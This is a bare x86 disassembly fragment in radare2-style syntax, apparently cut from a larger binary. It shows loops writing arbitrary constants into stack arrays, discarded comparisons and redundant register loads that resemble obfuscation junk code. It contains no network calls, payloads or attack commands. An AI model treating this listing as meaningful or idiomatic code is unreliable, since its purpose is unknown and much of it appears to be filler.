mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x108]
cmp dword [eax + ecx*4], ebx
jne 0x46c97d
cmp dword [ebp - 0xc8], ebx
jne 0x46c918
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x108]
mov edx, dword [ebp - 0x510]
mov eax, dword [eax + ecx*4]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xc8]
mov edx, 0x43b9c309
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x108]
sub edx, dword [eax + ecx*4]
mov dword [ebp - 0x24], edx
xor edx, edx
mov ecx, dword [ebp - 0xc8]
mov esi, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x108]
cmp dword [eax + ecx*4], ebx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x108]
setge dl
add ecx, edx
mov dword [eax + esi*4], ecx
mov dword [ebp - 0x24], 0xfffffff7
inc dword [ebp - 0xc8]
cmp dword [ebp - 0xc8], 2
jle 0x46c8e3
xor esi, esi
inc esi
mov eax, dword [ebp - 0xc8]
lea ecx, [ebp - 0x510]
mov eax, dword [ebp - 0x464]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x460]
mov dword [edi + 4], ebx
call fcn.00421a31
lea ecx, [ebp - 0x108]
call fcn.00421a31
mov dword [ebp - 0x34], esi
push 3
mov dword [ebp - 0x18], 0x383c67ee
mov dword [ebp - 0xc], ebx
pop edi
jmp 0x46c9d7
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x328], 9
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x46c9c6
mov dword [ebp - 0xc], ebx
jmp 0x46c9f2
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2fc], 0x8d3a18e4
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46c9e1
mov ecx, dword [ebp - 0x328]
xor edx, edx
mov dword [ebp - 0x2fc], ecx
mov eax, dword [ebp - 0x324]
cmp eax, ecx
mov eax, dword [ebp - 0x324]
mov ecx, dword [ebp - 0x324]
setge dl
add eax, edx
xor edx, edx
cmp eax, 0x3358
mov eax, dword [ebp - 0x34]
setge dl
sub ecx, edx
xor edx, edx
add ecx, eax
mov dword [ebp - 0x324], ecx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 7
setl al
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0x7e2799ac
mov dword [ebp - 0x18], 0xb1a88af1
mov dword [ebp - 8], ebx
jmp 0x46ca76
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x5d0], 0xb66e
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46ca65
mov dword [ebp - 0x1c], 0xfffffffe
jmp 0x46cb00
mov dword [ebp - 0xc], 0x68819570
cmp dword [ebp - 0xc], ebx
jne 0x46caaa
cmp dword [ebp - 0x1c], ebx
je 0x46ca9b
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
je 0x46caa6
mov eax, dword [ebp - 0xc]
mov ecx, ebx
jmp 0x46caac
mov ecx, esi
xor eax, eax
test ecx, ecx
setns al
xor ecx, ecx
cmp eax, 0xfffffffe
mov eax, dword [ebp - 0xc]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5c8]
setle dl
imul edx, eax
cmp edx, dword [ebp - 0xc]
jl 0x46cadd
mov eax, ebx
cmp dword [ebp - 0x5c8], ebx
je 0x46cadf
mov eax, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], ebx
jmp 0x46caf8
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x5d0], 0xfffd
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x46cae7
inc dword [ebp - 0x1c]
or eax, 0xffffffff
cmp dword [ebp - 0x1c], eax
je 0x46ca84
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x528]
push 4
call fcn.00421789
mov dword [ebp - 0xc], ebx
jmp 0x46cb32
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x424], 0xd7f8
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x46cb21
mov dword [ebp - 0xc], ebx
jmp 0x46cb50
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x528]
mov dword [eax + ecx*4], 0xe7d8a870
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x46cb3d
mov esi, dword [ebp - 0x528]
xor edi, edi
inc edi
mov dword [esi + 8], edi
mov dword [ebp - 0x3c], 0xda4d073f
mov dword [ebp - 0x3c], edi
cmp dword [ebp - 0x3c], ebx
jl 0x46cb8e